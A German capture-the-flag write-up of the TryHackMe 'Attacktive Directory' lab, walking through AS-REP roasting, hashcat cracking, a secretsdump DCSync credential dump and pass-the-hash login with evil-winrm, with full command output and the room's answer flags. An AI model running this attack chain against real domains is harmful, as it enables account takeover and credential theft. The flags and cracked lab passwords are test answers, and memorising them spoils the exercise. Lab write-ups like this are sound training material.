Weiter geht es mit dem Attacktive Directory Raum, um ein paar Windows Schwachstellen zu nutzen.

Task 1 Intro Deploy The Machine

Im ersten Task gibt es nur eine Anleitung und keine Fragen für uns.

Task 2 Intro Setup

Hier werden wir aufgefordert ein paar neue Programme zu installieren. Den Anfang macht Impacket. Solltet ihr nicht als root eingeloggt sein, müsst ihr sudo nutzen:

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ 
sudo pip3 install .

Weiter geht es mit Bloodhound und Ne04j:

sudo apt install bloodhound neo4j

Abschließend die obligatorischen Updates/Upgrades:

sudo apt update
sudo apt upgrade -y

Task 3 Enumeration Welcome to Attacktive Directory

Beginnen wir zuerst mit Enumeration und schauen uns an was es auf der Machine gibt:

└─$ nmap -A DIE_MACHINE_IP              
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-08 18:18 CEST
Nmap scan report for 10.10.59.172
Host is up (0.059s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-08 16:18:36Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-08-07T16:09:00
|_Not valid after:  2023-02-06T16:09:00
|_ssl-date: 2022-08-08T16:18:48+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2022-08-08T16:18:40+00:00
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-08-08T16:18:41
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds
                                                              

Frage 1:
What tool will allow us to enumerate port 139/445?

Hier könnten wir jetzt enum4linux verwenden, um weitere Informationen zu erhalten. Dank unseres nmap Scans haben wir allerdings schon einige Informationen, um die kommenden Fragen zu beantworten.

Antwort 1:
enum4linux

Frage 2:
What is the NetBIOS-Domain Name of the machine?

Die Antwort können wir aus unserem nmap Scan nehmen.

Antwort 2:
THM-AD

Frage 3:
What invalid TLD do people commonly use for their Active Directory Domain?

Aud das können wir aus unserem nmap Scan herauslesen. Der Domain Name lautet spookysec.local, so ist die TLD (Top-Level Domain) .local

Antwort 3:
.local

Task 4 Enumeration Enumerating Users via Kerberos

In diesem Task bekommen wir eine Userlist und eine Passwordlist gestellt. DIese laden wir herunter und speichern sie im Verzeichnis /Desktop/active.

Doch zuerst müssen wir noch kerbrute installieren (warum auch immer das nicht im Setup Step erklärt wurde…). Gegebenenfalls müssen wir auch Go installieren:

sudo apt install gccgo-go   

Anschließend installieren wir kerbrute:

go install github.com/ropnop/kerbrute@latest

Nun wechseln wir noch in das kerbrute Verzeichnis (kann bei euch u.U. anders sein):

cd go/bin

Frage 1:
What command within Kerbrute will allow us to enumerate valid usernames?

Hier schauen wir uns die kerbrute Hilfe an:

└─$ ./kerbrute -h                                                                                           

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 08/08/22 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int       Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string   The full domain to use (e.g. contoso.com)
  -h, --help            help for kerbrute
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Antwort 1:
userenum

Frage 2:
What notable account is discovered? (These should jump out at you)

Es geht an die User Enumeration, basteln wir unseren Befehl:

./kerbrute userenum --dc MACHINE_IP -d spookysec.local '/home/kali/Desktop/active/userlist.txt'  
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 08/08/22 - Ronnie Flathers @ropnop

2022/08/08 19:16:34 >  Using KDC(s):
2022/08/08 19:16:34 >   MACHINE_IP:88

2022/08/08 19:16:34 >  [+] VALID USERNAME:       james@spookysec.local
2022/08/08 19:16:36 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2022/08/08 19:16:37 >  [+] VALID USERNAME:       James@spookysec.local
2022/08/08 19:16:38 >  [+] VALID USERNAME:       robin@spookysec.local
2022/08/08 19:16:44 >  [+] VALID USERNAME:       darkstar@spookysec.local
2022/08/08 19:16:48 >  [+] VALID USERNAME:       administrator@spookysec.local
2022/08/08 19:16:55 >  [+] VALID USERNAME:       backup@spookysec.local
2022/08/08 19:17:00 >  [+] VALID USERNAME:       paradox@spookysec.local
2022/08/08 19:17:22 >  [+] VALID USERNAME:       JAMES@spookysec.local
2022/08/08 19:17:30 >  [+] VALID USERNAME:       Robin@spookysec.local
2022/08/08 19:18:16 >  [+] VALID USERNAME:       Administrator@spookysec.local

Antwort 2:
svc-admin

Frage 3:
What is the other notable account is discovered? (These should jump out at you)

Antwort 3:
backup

Task 5 Exploitation Abusing Kerberos

Frage 1:
We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

Um Zeit zu sparen probieren wir einfach unsere zwei Ergebnisse aus dem vorherigen Task und haben einen Treffer!

Antwort 1:
svc-admin

Mit dem Ergebins benutzen wir gleich das Impacket tool „GetNPUsers.py“:

└─$ GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip MACHINE_IP
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a6c9d166858eac66a639e6b0fc04474f$c85b83b52ba21691d2edf617264733ca9219b7d59f2330a4b464012dd72881fd236053991b5dd53410306bd4be08624452f27745c5d1aa4ae060481bec725f48c856d870bc310e9d3b89eee3b1b54cf2bb9de8b6c3e078a199c0db006e1f0b2f968bd2ede6fa7ea6f0c0a6f679b3923fafe219220dd9c5a0816c3f409381bfc0faeb134528982b84e7d5a92f18e26c12dfe29ccbf23ef0302d389280e2b14111a2f69c425bd907d9cc13cff52a17341a916783c8ba78352a62b6d08b0a9e3c258c5b46eca27bebc8c0b9f20b5753758f2dc06aec8cee5caecdb11c4ad6ad1d69c2a4ae0148bffa34f4f382e49829e3d9b252

Frage 2:
Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Folgen wir also dem Link aus dem Hint und vergleichen unseren Hash mit den Beispielen. Als weiteren Tipp sollen wir nach dem ersten Teil des Hashes suchen:

Antwort 2:
Kerberos 5, etype 23, AS-REP

Frage 3:
What mode is the hash?

Der Mode steht in der Spalte vor dem Hash-Namen:

Antwort 3:
18200

Frage 4:
Now crack the hash with the modified password list provided, what is the user accounts password?

Zuerst müssen wir eine Datei mit dem Hash erstellen, dazu benutzen wir den Texteditor nano. Nano öffnen wir mit „nano hash“, kopieren den Hash hinein, beenden mit STRG+X und bestätigen mit y.

Zum cracken benutzen wir hashcat und die Passwortliste, die wir im Task heruntergeladen haben. Denkt daran, dass die Pfade bei euch anders lauten können!

hashcat -m 18200 hash /home/kali/Desktop/active/passwordlist.txt --force

Und das Ergebnis lautet:

--snip--
Dictionary cache built:
* Filename..: /home/kali/Desktop/active/passwordlist.txt
* Passwords.: 70188
* Bytes.....: 569236
* Keyspace..: 70188
* Runtime...: 0 secs

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a6c9d166858eac66a639e6b0fc04474f$c85b83b52ba21691d2edf617264733ca9219b7d59f2330a4b464012dd72881fd236053991b5dd53410306bd4be08624452f27745c5d1aa4ae060481bec725f48c856d870bc310e9d3b89eee3b1b54cf2bb9de8b6c3e078a199c0db006e1f0b2f968bd2ede6fa7ea6f0c0a6f679b3923fafe219220dd9c5a0816c3f409381bfc0faeb134528982b84e7d5a92f18e26c12dfe29ccbf23ef0302d389280e2b14111a2f69c425bd907d9cc13cff52a17341a916783c8ba78352a62b6d08b0a9e3c258c5b46eca27bebc8c0b9f20b5753758f2dc06aec8cee5caecdb11c4ad6ad1d69c2a4ae0148bffa34f4f382e49829e3d9b252:management2005
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a6c9d166858...d9b252
Time.Started.....: Mon Aug  8 20:15:00 2022, (0 secs)
Time.Estimated...: Mon Aug  8 20:15:00 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/belcher/Desktop/active/passwordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   227.4 kH/s (1.10ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8192/70188 (11.67%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 4096/70188 (5.84%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: newzealand -> whitey
Hardware.Mon.#1..: Temp: 71c Util: 14%

Started: Mon Aug  8 20:14:40 2022
Stopped: Mon Aug  8 20:15:01 2022

Antwort 4:
management2005

Task 6 Enumeration Back to the Basics

Frage 1:
What utility can we use to map remote SMB shares?

SMB shares konnen wir mit smbclient enumerieren.

Antwort 1:
smbclient

Frage 2:
Which option will list shares?

Hierzu rufen wir die man-page von smbclient auf (man smbshare). Die man-page (man steht für Manual, englisch für Anleitung) listet alle Optionen eines Programmes auf.

-L|--list
This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are trying to reach a host on another network.

Antwort 2:
-L

Frage 3:
How many remote shares is the server listing?

Legen wir mit smbclient los:

smbclient -L MACHINE_IP --user svc-admin   

Mit -L geben wir die IP Adresse unserer Machine an und listen alle Verzeichnisse auf. Mit –user den Namen des Benutzers aus dem vorherigen Task. Danach werden wir nach einem Passwort gefragt, hier nehemen wir das gecrackte Passwort „management2005“.

└─$ smbclient -L 10.10.158.184 --user svc-admin   
Password for [WORKGROUP\svc-admin]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.158.184 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Antwort 3:
6

Frage 4:
There is one particular share that we have access to that contains a text file. Which share is it?

Nun müssen wir unseren Befehl leicht verändern:

smbclient //MACHINE_IP/backup --user svc-admin   

Und wir geben wieder unser Passwort (management2005) ein. Jetzt haben wir Zugriff auf die Eingabeaufforderung des SMB Servers.

smb: \> dir
  .                                   D        0  Sat Apr  4 21:08:39 2020
  ..                                  D        0  Sat Apr  4 21:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 21:08:53 2020

                8247551 blocks of size 4096. 3588969 blocks available

Antwort 4:
backup

Frage 5:
What is the content of the file?

Wir müssen also die Datei „backup_credentials.txt“ herunterladen und öffnen.

smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> 

Die Datei wird in unserem home (Benutzer-) Verzeichnis gespeichert.

Antwort 5:
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Frage 6:
Decoding the contents of the file, what is the full contents?

Zum decodieren kann man verschiedene Onlinetools nutzen, zum Beispiel Base 64 Decode and Encode. Hier geben wir unseren Code ein und erhalten unsere Antwort:

Antwort 6:
backup@spookysec.local:backup2517860

Task 7 Domain Privilege Escalation Elevating Privileges within the Domain

Ok, jetzt wird es interessant. Es geht also weiter mit „secretsdump.py“.

Frage 1:
What method allowed us to dump NTDS.DIT?

Wir schauen uns die Hilfeseite von secretsdum.py an und planen die nächsten Schritte. Mit „-just-dc“ erhalten wir NTDS Daten, leider ist das nicht die Antwort. Lassen wir uns die Daten zuerst anzeigen:

secretsdump.py backup@MACHINE_IP -just-dc  
secretsdump.py backup@10.10.158.184 -just-dc       
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:c0958034512d61cea28e8ff26ee85f06:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:259cf0fb96f02a2192407001ae5d82f6956a013b017b3682baeca54b39d02021
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:d1d301bbda534031397ace3664f8a21b
ATTACKTIVEDIREC$:des-cbc-md5:0e040edc2fdfdca2
[*] Cleaning up... 

Das ist eine lange Liste, wir haben jetzt theoretisch Zugriff auf das ganze System (wenn wir noch etwas Arbeit leisten!). Ganz oben ist auch die Methode, mit der wir die Hashes bekommen:

Antwort 1:
DRSUAPI

Frage 2:
What is the Administrators NTLM hash?

Den Hash erhalten wir aus der obigen Ausgabe:

Antwort 2:
0e0363213e37b94221497260b0bcb4fc

Frage 3:
What method of attack could allow us to authenticate as the user without the password?

Wenn man nur die Hashes und keine Passwörter hat, kann man auf eine Methode namens „Pass the Hash“ zurückgreifen. Dabei wird dem Ziel nur der Hash übermittelt und man kann so Zugriff erhalten.

Antwort 3:
pass the hash

Frage 4:
Using a tool called Evil-WinRM what option will allow us to use a hash?

Mal sehen was Evil-WinRM zu bieten hat. Achtung, die Eingabe ist case-sensitive:

└─$ evil-winrm                                                       

Evil-WinRM shell v3.4

Error: missing argument: ip, user

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message

Antwort 4:
-H

Task 8 Flag Submission Flag Submission Panel

Mit Evil-WinRM können wir die Pass-the-Hash Methode ausführen und uns mit den Daten des Administrators einloggen. Damit kommen wir hoffentlich an alle geforderten Flaggen:

evil-winrm -i MACHINE_IP -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

MIt -i geben wir die IP der MACHINE an, mit -u den Benutzer (hier: Administrator) und mit -H den Hash. Wir erhalten eine Shell und navigieren in die jeweiligen Verzeichnisse:

└─$ evil-winrm -i 10.10.158.184 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Submit the flags for each user account. They can be located on each user’s desktop.

Frage 1:
svc-admin

*Evil-WinRM* PS C:\Users\svc-admin\Desktop> type user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}

Antwort 1:
TryHackMe{K3rb3r0s_Pr3_4uth}

Frage 2:
backup

*Evil-WinRM* PS C:\Users\backup\Desktop> type PrivEsc.txt
TryHackMe{B4ckM3UpSc0tty!}

Antwort 2:
TryHackMe{B4ckM3UpSc0tty!}

Frage 3:
Administrator

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
TryHackMe{4ctiveD1rectoryM4st3r}

Antwort 3:
TryHackMe{4ctiveD1rectoryM4st3r}

Und wir haben wieder einen Raum gemeistert. Damit ist der CompTIA Pentest+ Pfad fast abgeschlossen.